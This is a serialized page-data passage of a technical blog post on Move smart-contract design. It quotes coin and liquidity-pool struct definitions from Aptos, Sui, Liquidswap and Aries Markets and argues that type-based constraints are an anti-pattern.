",{"type":24,"tag":156,"props":8881,"children":8883},{"className":8882},[],[8884],{"type":30,"value":8885},"coin.move",{"type":30,"value":436},{"type":24,"tag":920,"props":8888,"children":8890},{"className":6102,"code":8889,"language":6101,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[8891],{"type":24,"tag":156,"props":8892,"children":8893},{"__ignoreMap":7},[8894,8902,8948,8956,8977],{"type":24,"tag":930,"props":8895,"children":8896},{"class":932,"line":933},[8897],{"type":24,"tag":930,"props":8898,"children":8899},{"style":1422},[8900],{"type":30,"value":8901},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":24,"tag":930,"props":8903,"children":8904},{"class":932,"line":984},[8905,8910,8915,8919,8924,8929,8934,8939,8944],{"type":24,"tag":930,"props":8906,"children":8907},{"style":937},[8908],{"type":30,"value":8909},"  struct",{"type":24,"tag":930,"props":8911,"children":8912},{"style":943},[8913],{"type":30,"value":8914}," Coin",{"type":24,"tag":930,"props":8916,"children":8917},{"style":959},[8918],{"type":30,"value":1350},{"type":24,"tag":930,"props":8920,"children":8921},{"style":1023},[8922],{"type":30,"value":8923},"phantom",{"type":24,"tag":930,"props":8925,"children":8926},{"style":943},[8927],{"type":30,"value":8928}," CoinType",{"type":24,"tag":930,"props":8930,"children":8931},{"style":959},[8932],{"type":30,"value":8933},"> ",{"type":24,"tag":930,"props":8935,"children":8936},{"style":1023},[8937],{"type":30,"value":8938},"has",{"type":24,"tag":930,"props":8940,"children":8941},{"style":1023},[8942],{"type":30,"value":8943}," store",{"type":24,"tag":930,"props":8945,"children":8946},{"style":959},[8947],{"type":30,"value":981},{"type":24,"tag":930,"props":8949,"children":8950},{"class":932,"line":993},[8951],{"type":24,"tag":930,"props":8952,"children":8953},{"style":1422},[8954],{"type":30,"value":8955},"      /// Amount of coin this address has.\n",{"type":24,"tag":930,"props":8957,"children":8958},{"class":932,"line":1057},[8959,8964,8968,8973],{"type":24,"tag":930,"props":8960,"children":8961},{"style":1023},[8962],{"type":30,"value":8963},"      value",{"type":24,"tag":930,"props":8965,"children":8966},{"style":1158},[8967],{"type":30,"value":476},{"type":24,"tag":930,"props":8969,"children":8970},{"style":943},[8971],{"type":30,"value":8972}," u64",{"type":24,"tag":930,"props":8974,"children":8975},{"style":959},[8976],{"type":30,"value":2832},{"type":24,"tag":930,"props":8978,"children":8979},{"class":932,"line":1066},[8980],{"type":24,"tag":930,"props":8981,"children":8982},{"style":959},[8983],{"type":30,"value":8984},"  }\n",{"type":24,"tag":33,"props":8986,"children":8987},{},[8988],{"type":24,"tag":6032,"props":8989,"children":8990},{},[8991],{"type":30,"value":8992},"aptos",{"type":24,"tag":920,"props":8994,"children":8996},{"className":6102,"code":8995,"language":6101,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[8997],{"type":24,"tag":156,"props":8998,"children":8999},{"__ignoreMap":7},[9000,9008,9058,9075,9106],{"type":24,"tag":930,"props":9001,"children":9002},{"class":932,"line":933},[9003],{"type":24,"tag":930,"props":9004,"children":9005},{"style":1422},[9006],{"type":30,"value":9007},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":24,"tag":930,"props":9009,"children":9010},{"class":932,"line":984},[9011,9015,9019,9023,9027,9032,9036,9040,9045,9049,9054],{"type":24,"tag":930,"props":9012,"children":9013},{"style":937},[9014],{"type":30,"value":8909},{"type":24,"tag":930,"props":9016,"children":9017},{"style":943},[9018],{"type":30,"value":8914},{"type":24,"tag":930,"props":9020,"children":9021},{"style":959},[9022],{"type":30,"value":1350},{"type":24,"tag":930,"props":9024,"children":9025},{"style":1023},[9026],{"type":30,"value":8923},{"type":24,"tag":930,"props":9028,"children":9029},{"style":943},[9030],{"type":30,"value":9031}," T",{"type":24,"tag":930,"props":9033,"children":9034},{"style":959},[9035],{"type":30,"value":8933},{"type":24,"tag":930,"props":9037,"children":9038},{"style":1023},[9039],{"type":30,"value":8938},{"type":24,"tag":930,"props":9041,"children":9042},{"style":1023},[9043],{"type":30,"value":9044}," key",{"type":24,"tag":930,"props":9046,"children":9047},{"style":959},[9048],{"type":30,"value":962},{"type":24,"tag":930,"props":9050,"children":9051},{"style":1023},[9052],{"type":30,"value":9053},"store",{"type":24,"tag":930,"props":9055,"children":9056},{"style":959},[9057],{"type":30,"value":981},{"type":24,"tag":930,"props":9059,"children":9060},{"class":932,"line":993},[9061,9066,9070],{"type":24,"tag":930,"props":9062,"children":9063},{"style":1023},[9064],{"type":30,"value":9065},"      id",{"type":24,"tag":930,"props":9067,"children":9068},{"style":1158},[9069],{"type":30,"value":476},{"type":24,"tag":930,"props":9071,"children":9072},{"style":959},[9073],{"type":30,"value":9074}," UID,\n",{"type":24,"tag":930,"props":9076,"children":9077},{"class":932,"line":1057},[9078,9083,9087,9092,9096,9101],{"type":24,"tag":930,"props":9079,"children":9080},{"style":1023},[9081],{"type":30,"value":9082},"      balance",{"type":24,"tag":930,"props":9084,"children":9085},{"style":1158},[9086],{"type":30,"value":476},{"type":24,"tag":930,"props":9088,"children":9089},{"style":943},[9090],{"type":30,"value":9091}," Balance",{"type":24,"tag":930,"props":9093,"children":9094},{"style":959},[9095],{"type":30,"value":1350},{"type":24,"tag":930,"props":9097,"children":9098},{"style":943},[9099],{"type":30,"value":9100},"T",{"type":24,"tag":930,"props":9102,"children":9103},{"style":959},[9104],{"type":30,"value":9105},">\n",{"type":24,"tag":930,"props":9107,"children":9108},{"class":932,"line":1066},[9109],{"type":24,"tag":930,"props":9110,"children":9111},{"style":959},[9112],{"type":30,"value":8984},{"type":24,"tag":33,"props":9114,"children":9115},{},[9116],{"type":24,"tag":6032,"props":9117,"children":9118},{},[9119],{"type":30,"value":9120},"sui",{"type":24,"tag":33,"props":9122,"children":9123},{},[9124,9126,9133,9135,9141],{"type":30,"value":9125},"Pulling an example from ",{"type":24,"tag":37,"props":9127,"children":9130},{"href":9128,"rel":9129},"https://pontem.network/",[41],[9131],{"type":30,"value":9132},"Pontem Network's",{"type":30,"value":9134}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":24,"tag":156,"props":9136,"children":9138},{"className":9137},[],[9139],{"type":30,"value":9140},"LiquidityPool",{"type":30,"value":9142}," natively embeds this type information into it's fields.",{"type":24,"tag":920,"props":9144,"children":9146},{"className":6102,"code":9145,"language":6101,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[9147],{"type":24,"tag":156,"props":9148,"children":9149},{"__ignoreMap":7},[9150,9158,9222,9252,9281,9289],{"type":24,"tag":930,"props":9151,"children":9152},{"class":932,"line":933},[9153],{"type":24,"tag":930,"props":9154,"children":9155},{"style":1422},[9156],{"type":30,"value":9157},"    /// Liquidity pool with reserves.\n",{"type":24,"tag":930,"props":9159,"children":9160},{"class":932,"line":984},[9161,9166,9171,9175,9179,9184,9188,9192,9197,9201,9205,9210,9214,9218],{"type":24,"tag":930,"props":9162,"children":9163},{"style":937},[9164],{"type":30,"value":9165},"    struct",{"type":24,"tag":930,"props":9167,"children":9168},{"style":943},[9169],{"type":30,"value":9170}," LiquidityPool",{"type":24,"tag":930,"props":9172,"children":9173},{"style":959},[9174],{"type":30,"value":1350},{"type":24,"tag":930,"props":9176,"children":9177},{"style":1023},[9178],{"type":30,"value":8923},{"type":24,"tag":930,"props":9180,"children":9181},{"style":943},[9182],{"type":30,"value":9183}," X",{"type":24,"tag":930,"props":9185,"children":9186},{"style":959},[9187],{"type":30,"value":962},{"type":24,"tag":930,"props":9189,"children":9190},{"style":1023},[9191],{"type":30,"value":8923},{"type":24,"tag":930,"props":9193,"children":9194},{"style":943},[9195],{"type":30,"value":9196}," Y",{"type":24,"tag":930,"props":9198,"children":9199},{"style":959},[9200],{"type":30,"value":962},{"type":24,"tag":930,"props":9202,"children":9203},{"style":1023},[9204],{"type":30,"value":8923},{"type":24,"tag":930,"props":9206,"children":9207},{"style":959},[9208],{"type":30,"value":9209}," LP> ",{"type":24,"tag":930,"props":9211,"children":9212},{"style":1023},[9213],{"type":30,"value":8938},{"type":24,"tag":930,"props":9215,"children":9216},{"style":1023},[9217],{"type":30,"value":9044},{"type":24,"tag":930,"props":9219,"children":9220},{"style":959},[9221],{"type":30,"value":981},{"type":24,"tag":930,"props":9223,"children":9224},{"class":932,"line":993},[9225,9230,9234,9238,9242,9247],{"type":24,"tag":930,"props":9226,"children":9227},{"style":1023},[9228],{"type":30,"value":9229},"        coin_x_reserve",{"type":24,"tag":930,"props":9231,"children":9232},{"style":1158},[9233],{"type":30,"value":476},{"type":24,"tag":930,"props":9235,"children":9236},{"style":943},[9237],{"type":30,"value":8914},{"type":24,"tag":930,"props":9239,"children":9240},{"style":959},[9241],{"type":30,"value":1350},{"type":24,"tag":930,"props":9243,"children":9244},{"style":943},[9245],{"type":30,"value":9246},"X",{"type":24,"tag":930,"props":9248,"children":9249},{"style":959},[9250],{"type":30,"value":9251},">,\n",{"type":24,"tag":930,"props":9253,"children":9254},{"class":932,"line":1057},[9255,9260,9264,9268,9272,9277],{"type":24,"tag":930,"props":9256,"children":9257},{"style":1023},[9258],{"type":30,"value":9259},"        coin_y_reserve",{"type":24,"tag":930,"props":9261,"children":9262},{"style":1158},[9263],{"type":30,"value":476},{"type":24,"tag":930,"props":9265,"children":9266},{"style":943},[9267],{"type":30,"value":8914},{"type":24,"tag":930,"props":9269,"children":9270},{"style":959},[9271],{"type":30,"value":1350},{"type":24,"tag":930,"props":9273,"children":9274},{"style":943},[9275],{"type":30,"value":9276},"Y",{"type":24,"tag":930,"props":9278,"children":9279},{"style":959},[9280],{"type":30,"value":9251},{"type":24,"tag":930,"props":9282,"children":9283},{"class":932,"line":1066},[9284],{"type":24,"tag":930,"props":9285,"children":9286},{"style":1422},[9287],{"type":30,"value":9288},"        // ...\n",{"type":24,"tag":930,"props":9290,"children":9291},{"class":932,"line":1075},[9292],{"type":24,"tag":930,"props":9293,"children":9294},{"style":959},[9295],{"type":30,"value":1840},{"type":24,"tag":33,"props":9297,"children":9298},{},[9299],{"type":30,"value":9300},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":24,"tag":920,"props":9302,"children":9304},{"className":6102,"code":9303,"language":6101,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[9305],{"type":24,"tag":156,"props":9306,"children":9307},{"__ignoreMap":7},[9308,9347,9367,9395,9423,9474,9482,9489],{"type":24,"tag":930,"props":9309,"children":9310},{"class":932,"line":933},[9311,9316,9321,9326,9330,9334,9338,9342],{"type":24,"tag":930,"props":9312,"children":9313},{"style":1023},[9314],{"type":30,"value":9315},"      public",{"type":24,"tag":930,"props":9317,"children":9318},{"style":1023},[9319],{"type":30,"value":9320}," fun",{"type":24,"tag":930,"props":9322,"children":9323},{"style":1023},[9324],{"type":30,"value":9325}," mint",{"type":24,"tag":930,"props":9327,"children":9328},{"style":959},[9329],{"type":30,"value":1350},{"type":24,"tag":930,"props":9331,"children":9332},{"style":943},[9333],{"type":30,"value":9246},{"type":24,"tag":930,"props":9335,"children":9336},{"style":959},[9337],{"type":30,"value":962},{"type":24,"tag":930,"props":9339,"children":9340},{"style":943},[9341],{"type":30,"value":9276},{"type":24,"tag":930,"props":9343,"children":9344},{"style":959},[9345],{"type":30,"value":9346},", LP>(\n",{"type":24,"tag":930,"props":9348,"children":9349},{"class":932,"line":984},[9350,9355,9359,9363],{"type":24,"tag":930,"props":9351,"children":9352},{"style":1023},[9353],{"type":30,"value":9354},"          pool_addr",{"type":24,"tag":930,"props":9356,"children":9357},{"style":1158},[9358],{"type":30,"value":476},{"type":24,"tag":930,"props":9360,"children":9361},{"style":1023},[9362],{"type":30,"value":4529},{"type":24,"tag":930,"props":9364,"children":9365},{"style":959},[9366],{"type":30,"value":2832},{"type":24,"tag":930,"props":9368,"children":9369},{"class":932,"line":993},[9370,9375,9379,9383,9387,9391],{"type":24,"tag":930,"props":9371,"children":9372},{"style":1023},[9373],{"type":30,"value":9374},"          coin_x",{"type":24,"tag":930,"props":9376,"children":9377},{"style":1158},[9378],{"type":30,"value":476},{"type":24,"tag":930,"props":9380,"children":9381},{"style":943},[9382],{"type":30,"value":8914},{"type":24,"tag":930,"props":9384,"children":9385},{"style":959},[9386],{"type":30,"value":1350},{"type":24,"tag":930,"props":9388,"children":9389},{"style":943},[9390],{"type":30,"value":9246},{"type":24,"tag":930,"props":9392,"children":9393},{"style":959},[9394],{"type":30,"value":9251},{"type":24,"tag":930,"props":9396,"children":9397},{"class":932,"line":1057},[9398,9403,9407,9411,9415,9419],{"type":24,"tag":930,"props":9399,"children":9400},{"style":1023},[9401],{"type":30,"value":9402},"          coin_y",{"type":24,"tag":930,"props":9404,"children":9405},{"style":1158},[9406],{"type":30,"value":476},{"type":24,"tag":930,"props":9408,"children":9409},{"style":943},[9410],{"type":30,"value":8914},{"type":24,"tag":930,"props":9412,"children":9413},{"style":959},[9414],{"type":30,"value":1350},{"type":24,"tag":930,"props":9416,"children":9417},{"style":943},[9418],{"type":30,"value":9276},{"type":24,"tag":930,"props":9420,"children":9421},{"style":959},[9422],{"type":30,"value":9105},{"type":24,"tag":930,"props":9424,"children":9425},{"class":932,"line":1066},[9426,9431,9435,9439,9443,9448,9452,9457,9461,9465,9470],{"type":24,"tag":930,"props":9427,"children":9428},{"style":959},[9429],{"type":30,"value":9430},"      )",{"type":24,"tag":930,"props":9432,"children":9433},{"style":1158},[9434],{"type":30,"value":476},{"type":24,"tag":930,"props":9436,"children":9437},{"style":943},[9438],{"type":30,"value":8914},{"type":24,"tag":930,"props":9440,"children":9441},{"style":959},[9442],{"type":30,"value":1350},{"type":24,"tag":930,"props":9444,"children":9445},{"style":943},[9446],{"type":30,"value":9447},"LP",{"type":24,"tag":930,"props":9449,"children":9450},{"style":959},[9451],{"type":30,"value":8933},{"type":24,"tag":930,"props":9453,"children":9454},{"style":1023},[9455],{"type":30,"value":9456},"acquires",{"type":24,"tag":930,"props":9458,"children":9459},{"style":943},[9460],{"type":30,"value":9170},{"type":24,"tag":930,"props":9462,"children":9463},{"style":959},[9464],{"type":30,"value":962},{"type":24,"tag":930,"props":9466,"children":9467},{"style":943},[9468],{"type":30,"value":9469},"EventsStore",{"type":24,"tag":930,"props":9471,"children":9472},{"style":959},[9473],{"type":30,"value":981},{"type":24,"tag":930,"props":9475,"children":9476},{"class":932,"line":1075},[9477],{"type":24,"tag":930,"props":9478,"children":9479},{"style":1422},[9480],{"type":30,"value":9481},"          // ...\n",{"type":24,"tag":930,"props":9483,"children":9484},{"class":932,"line":1122},[9485],{"type":24,"tag":930,"props":9486,"children":9487},{"emptyLinePlaceholder":16},[9488],{"type":30,"value":2412},{"type":24,"tag":930,"props":9490,"children":9491},{"class":932,"line":1131},[9492,9497,9501,9506,9510,9515,9519,9523,9528,9532,9536,9540,9544,9549,9554],{"type":24,"tag":930,"props":9493,"children":9494},{"style":937},[9495],{"type":30,"value":9496},"          let",{"type":24,"tag":930,"props":9498,"children":9499},{"style":959},[9500],{"type":30,"value":1087},{"type":24,"tag":930,"props":9502,"children":9503},{"style":1023},[9504],{"type":30,"value":9505},"x_reserve_size",{"type":24,"tag":930,"props":9507,"children":9508},{"style":959},[9509],{"type":30,"value":962},{"type":24,"tag":930,"props":9511,"children":9512},{"style":1023},[9513],{"type":30,"value":9514},"y_reserve_size",{"type":24,"tag":930,"props":9516,"children":9517},{"style":959},[9518],{"type":30,"value":5579},{"type":24,"tag":930,"props":9520,"children":9521},{"style":1158},[9522],{"type":30,"value":1161},{"type":24,"tag":930,"props":9524,"children":9525},{"style":1023},[9526],{"type":30,"value":9527}," get_reserves_size",{"type":24,"tag":930,"props":9529,"children":9530},{"style":959},[9531],{"type":30,"value":1350},{"type":24,"tag":930,"props":9533,"children":9534},{"style":943},[9535],{"type":30,"value":9246},{"type":24,"tag":930,"props":9537,"children":9538},{"style":959},[9539],{"type":30,"value":962},{"type":24,"tag":930,"props":9541,"children":9542},{"style":943},[9543],{"type":30,"value":9276},{"type":24,"tag":930,"props":9545,"children":9546},{"style":959},[9547],{"type":30,"value":9548},", LP>(",{"type":24,"tag":930,"props":9550,"children":9551},{"style":1023},[9552],{"type":30,"value":9553},"pool_addr",{"type":24,"tag":930,"props":9555,"children":9556},{"style":959},[9557],{"type":30,"value":1278},{"type":24,"tag":33,"props":9559,"children":9560},{},[9561,9563,9569,9570,9577],{"type":30,"value":9562},"As an aside, this generic type information is implemented at runtime in the ",{"type":24,"tag":156,"props":9564,"children":9566},{"className":9565},[],[9567],{"type":30,"value":9568},"ty_args",{"type":30,"value":510},{"type":24,"tag":37,"props":9571,"children":9574},{"href":9572,"rel":9573},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[41],[9575],{"type":30,"value":9576},"at the vm level",{"type":30,"value":9578},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":24,"tag":33,"props":9580,"children":9581},{},[9582,9584,9590,9592,9598,9600,9606,9607,9613],{"type":30,"value":9583},"In pseucode, this checks that ",{"type":24,"tag":156,"props":9585,"children":9587},{"className":9586},[],[9588],{"type":30,"value":9589},"coin_x.type",{"type":30,"value":9591}," is equal to ",{"type":24,"tag":156,"props":9593,"children":9595},{"className":9594},[],[9596],{"type":30,"value":9597},"pool.x_type",{"type":30,"value":9599},", and ",{"type":24,"tag":156,"props":9601,"children":9603},{"className":9602},[],[9604],{"type":30,"value":9605},"coin_y.type",{"type":30,"value":9591},{"type":24,"tag":156,"props":9608,"children":9610},{"className":9609},[],[9611],{"type":30,"value":9612},"pool.y_type",{"type":30,"value":436},{"type":24,"tag":33,"props":9615,"children":9616},{},[9617],{"type":30,"value":9618},"This type system has two advantages",{"type":24,"tag":478,"props":9620,"children":9621},{},[9622,9634],{"type":24,"tag":100,"props":9623,"children":9624},{},[9625,9627,9632],{"type":30,"value":9626},"It's required. The type parameter ",{"type":24,"tag":6032,"props":9628,"children":9629},{},[9630],{"type":30,"value":9631},"must",{"type":30,"value":9633}," be specified so it's impossible to forget such a constraint",{"type":24,"tag":100,"props":9635,"children":9636},{},[9637],{"type":30,"value":9638},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":24,"tag":33,"props":9640,"children":9641},{},[9642],{"type":30,"value":9643},"However, this system isn't perfect.",{"type":24,"tag":33,"props":9645,"children":9646},{},[9647,9649,9654],{"type":30,"value":9648},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":24,"tag":275,"props":9650,"children":9651},{},[9652],{"type":30,"value":9653},"an anti-pattern",{"type":30,"value":436},{"type":24,"tag":33,"props":9656,"children":9657},{},[9658,9660,9666],{"type":30,"value":9659},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":24,"tag":156,"props":9661,"children":9663},{"className":9662},[],[9664],{"type":30,"value":9665},"CoinInfo\u003CCoinType>",{"type":30,"value":436},{"type":24,"tag":920,"props":9668,"children":9670},{"className":6102,"code":9669,"language":6101,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[9671],{"type":24,"tag":156,"props":9672,"children":9673},{"__ignoreMap":7},[9674,9701,9709,9778,9785,9792,9804,9849,9871],{"type":24,"tag":930,"props":9675,"children":9676},{"class":932,"line":933},[9677,9682,9687,9691,9696],{"type":24,"tag":930,"props":9678,"children":9679},{"style":1023},[9680],{"type":30,"value":9681},"  fun",{"type":24,"tag":930,"props":9683,"children":9684},{"style":1023},[9685],{"type":30,"value":9686}," initialize_internal",{"type":24,"tag":930,"props":9688,"children":9689},{"style":959},[9690],{"type":30,"value":1350},{"type":24,"tag":930,"props":9692,"children":9693},{"style":943},[9694],{"type":30,"value":9695},"CoinType",{"type":24,"tag":930,"props":9697,"children":9698},{"style":959},[9699],{"type":30,"value":9700},">(\n",{"type":24,"tag":930,"props":9702,"children":9703},{"class":932,"line":984},[9704],{"type":24,"tag":930,"props":9705,"children":9706},{"style":1422},[9707],{"type":30,"value":9708},"      // ...\n",{"type":24,"tag":930,"props":9710,"children":9711},{"class":932,"line":993},[9712,9717,9721,9725,9730,9734,9738,9743,9748,9752,9756,9760,9765,9769,9773],{"type":24,"tag":930,"props":9713,"children":9714},{"style":959},[9715],{"type":30,"value":9716},"  )",{"type":24,"tag":930,"props":9718,"children":9719},{"style":1158},[9720],{"type":30,"value":476},{"type":24,"tag":930,"props":9722,"children":9723},{"style":959},[9724],{"type":30,"value":1087},{"type":24,"tag":930,"props":9726,"children":9727},{"style":943},[9728],{"type":30,"value":9729},"BurnCapability",{"type":24,"tag":930,"props":9731,"children":9732},{"style":959},[9733],{"type":30,"value":1350},{"type":24,"tag":930,"props":9735,"children":9736},{"style":943},[9737],{"type":30,"value":9695},{"type":24,"tag":930,"props":9739,"children":9740},{"style":959},[9741],{"type":30,"value":9742},">, ",{"type":24,"tag":930,"props":9744,"children":9745},{"style":943},[9746],{"type":30,"value":9747},"FreezeCapability",{"type":24,"tag":930,"props":9749,"children":9750},{"style":959},[9751],{"type":30,"value":1350},{"type":24,"tag":930,"props":9753,"children":9754},{"style":943},[9755],{"type":30,"value":9695},{"type":24,"tag":930,"props":9757,"children":9758},{"style":959},[9759],{"type":30,"value":9742},{"type":24,"tag":930,"props":9761,"children":9762},{"style":943},[9763],{"type":30,"value":9764},"MintCapability",{"type":24,"tag":930,"props":9766,"children":9767},{"style":959},[9768],{"type":30,"value":1350},{"type":24,"tag":930,"props":9770,"children":9771},{"style":943},[9772],{"type":30,"value":9695},{"type":24,"tag":930,"props":9774,"children":9775},{"style":959},[9776],{"type":30,"value":9777},">) {\n",{"type":24,"tag":930,"props":9779,"children":9780},{"class":932,"line":1057},[9781],{"type":24,"tag":930,"props":9782,"children":9783},{"style":1422},[9784],{"type":30,"value":9708},{"type":24,"tag":930,"props":9786,"children":9787},{"class":932,"line":1066},[9788],{"type":24,"tag":930,"props":9789,"children":9790},{"emptyLinePlaceholder":16},[9791],{"type":30,"value":2412},{"type":24,"tag":930,"props":9793,"children":9794},{"class":932,"line":1075},[9795,9800],{"type":24,"tag":930,"props":9796,"children":9797},{"style":1002},[9798],{"type":30,"value":9799},"      assert!",{"type":24,"tag":930,"props":9801,"children":9802},{"style":959},[9803],{"type":30,"value":2814},{"type":24,"tag":930,"props":9805,"children":9806},{"class":932,"line":1122},[9807,9812,9817,9821,9826,9830,9834,9839,9844],{"type":24,"tag":930,"props":9808,"children":9809},{"style":1158},[9810],{"type":30,"value":9811},"          !",{"type":24,"tag":930,"props":9813,"children":9814},{"style":1023},[9815],{"type":30,"value":9816},"exists",{"type":24,"tag":930,"props":9818,"children":9819},{"style":959},[9820],{"type":30,"value":1350},{"type":24,"tag":930,"props":9822,"children":9823},{"style":943},[9824],{"type":30,"value":9825},"CoinInfo",{"type":24,"tag":930,"props":9827,"children":9828},{"style":959},[9829],{"type":30,"value":1350},{"type":24,"tag":930,"props":9831,"children":9832},{"style":943},[9833],{"type":30,"value":9695},{"type":24,"tag":930,"props":9835,"children":9836},{"style":959},[9837],{"type":30,"value":9838},">>(",{"type":24,"tag":930,"props":9840,"children":9841},{"style":1023},[9842],{"type":30,"value":9843},"account_addr",{"type":24,"tag":930,"props":9845,"children":9846},{"style":959},[9847],{"type":30,"value":9848},"),\n",{"type":24,"tag":930,"props":9850,"children":9851},{"class":932,"line":1131},[9852,9857,9861,9866],{"type":24,"tag":930,"props":9853,"children":9854},{"style":959},[9855],{"type":30,"value":9856},"          error",{"type":24,"tag":930,"props":9858,"children":9859},{"style":1158},[9860],{"type":30,"value":6597},{"type":24,"tag":930,"props":9862,"children":9863},{"style":1002},[9864],{"type":30,"value":9865},"already_exists",{"type":24,"tag":930,"props":9867,"children":9868},{"style":959},[9869],{"type":30,"value":9870},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":24,"tag":930,"props":9872,"children":9873},{"class":932,"line":1144},[9874],{"type":24,"tag":930,"props":9875,"children":9876},{"style":959},[9877],{"type":30,"value":9878},"      );\n",{"type":24,"tag":33,"props":9880,"children":9881},{},[9882,9884,9889],{"type":30,"value":9883},"While this ",{"type":24,"tag":156,"props":9885,"children":9887},{"className":9886},[],[9888],{"type":30,"value":9825},{"type":30,"value":9890}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":24,"tag":33,"props":9892,"children":9893},{},[9894,9896,9903],{"type":30,"value":9895},"Similarly, consider ",{"type":24,"tag":37,"props":9897,"children":9900},{"href":9898,"rel":9899},"https://ariesmarkets.xyz/",[41],[9901],{"type":30,"value":9902},"Aries Markets",{"type":30,"value":9904},", a lending/borrowing protocol building on Aptos.",{"type":24,"tag":33,"props":9906,"children":9907},{},[9908,9910,9916],{"type":30,"value":9909},"Their ",{"type":24,"tag":156,"props":9911,"children":9913},{"className":9912},[],[9914],{"type":30,"value":9915},"ReserveCoinContainer",{"type":30,"value":9917}," struct stores all the relevant data and resources for managing a lending market.",{"type":24,"tag":920,"props":9919,"children":9921},{"className":6102,"code":9920,"language":6101,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[9922],{"type":24,"tag":156,"props":9923,"children":9924},{"__ignoreMap":7},[9925,9933,9941,9982,9990,10019,10027,10064,10072,10109,10117,10154,10161,10168],{"type":24,"tag":930,"props":9926,"children":9927},{"class":932,"line":933},[9928],{"type":24,"tag":930,"props":9929,"children":9930},{"style":1422},[9931],{"type":30,"value":9932},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":24,"tag":930,"props":9934,"children":9935},{"class":932,"line":984},[9936],{"type":24,"tag":930,"props":9937,"children":9938},{"style":1422},[9939],{"type":30,"value":9940},"  /// Stored as a resources.\n",{"type":24,"tag":930,"props":9942,"children":9943},{"class":932,"line":993},[9944,9948,9953,9957,9961,9966,9970,9974,9978],{"type":24,"tag":930,"props":9945,"children":9946},{"style":937},[9947],{"type":30,"value":8909},{"type":24,"tag":930,"props":9949,"children":9950},{"style":943},[9951],{"type":30,"value":9952}," ReserveCoinContainer",{"type":24,"tag":930,"props":9954,"children":9955},{"style":959},[9956],{"type":30,"value":1350},{"type":24,"tag":930,"props":9958,"children":9959},{"style":1023},[9960],{"type":30,"value":8923},{"type":24,"tag":930,"props":9962,"children":9963},{"style":943},[9964],{"type":30,"value":9965}," Coin0",{"type":24,"tag":930,"props":9967,"children":9968},{"style":959},[9969],{"type":30,"value":8933},{"type":24,"tag":930,"props":9971,"children":9972},{"style":1023},[9973],{"type":30,"value":8938},{"type":24,"tag":930,"props":9975,"children":9976},{"style":1023},[9977],{"type":30,"value":9044},{"type":24,"tag":930,"props":9979,"children":9980},{"style":959},[9981],{"type":30,"value":981},{"type":24,"tag":930,"props":9983,"children":9984},{"class":932,"line":1057},[9985],{"type":24,"tag":930,"props":9986,"children":9987},{"style":1422},[9988],{"type":30,"value":9989},"      /// Stores the available `Coin`.\n",{"type":24,"tag":930,"props":9991,"children":9992},{"class":932,"line":1066},[9993,9998,10002,10006,10010,10015],{"type":24,"tag":930,"props":9994,"children":9995},{"style":1023},[9996],{"type":30,"value":9997},"      underlying_coin",{"type":24,"tag":930,"props":9999,"children":10000},{"style":1158},[10001],{"type":30,"value":476},{"type":24,"tag":930,"props":10003,"children":10004},{"style":943},[10005],{"type":30,"value":8914},{"type":24,"tag":930,"props":10007,"children":10008},{"style":959},[10009],{"type":30,"value":1350},{"type":24,"tag":930,"props":10011,"children":10012},{"style":943},[10013],{"type":30,"value":10014},"Coin0",{"type":24,"tag":930,"props":10016,"children":10017},{"style":959},[10018],{"type":30,"value":9251},{"type":24,"tag":930,"props":10020,"children":10021},{"class":932,"line":1075},[10022],{"type":24,"tag":930,"props":10023,"children":10024},{"style":1422},[10025],{"type":30,"value":10026},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":24,"tag":930,"props":10028,"children":10029},{"class":932,"line":1122},[10030,10035,10039,10043,10047,10051,10055,10059],{"type":24,"tag":930,"props":10031,"children":10032},{"style":1023},[10033],{"type":30,"value":10034},"      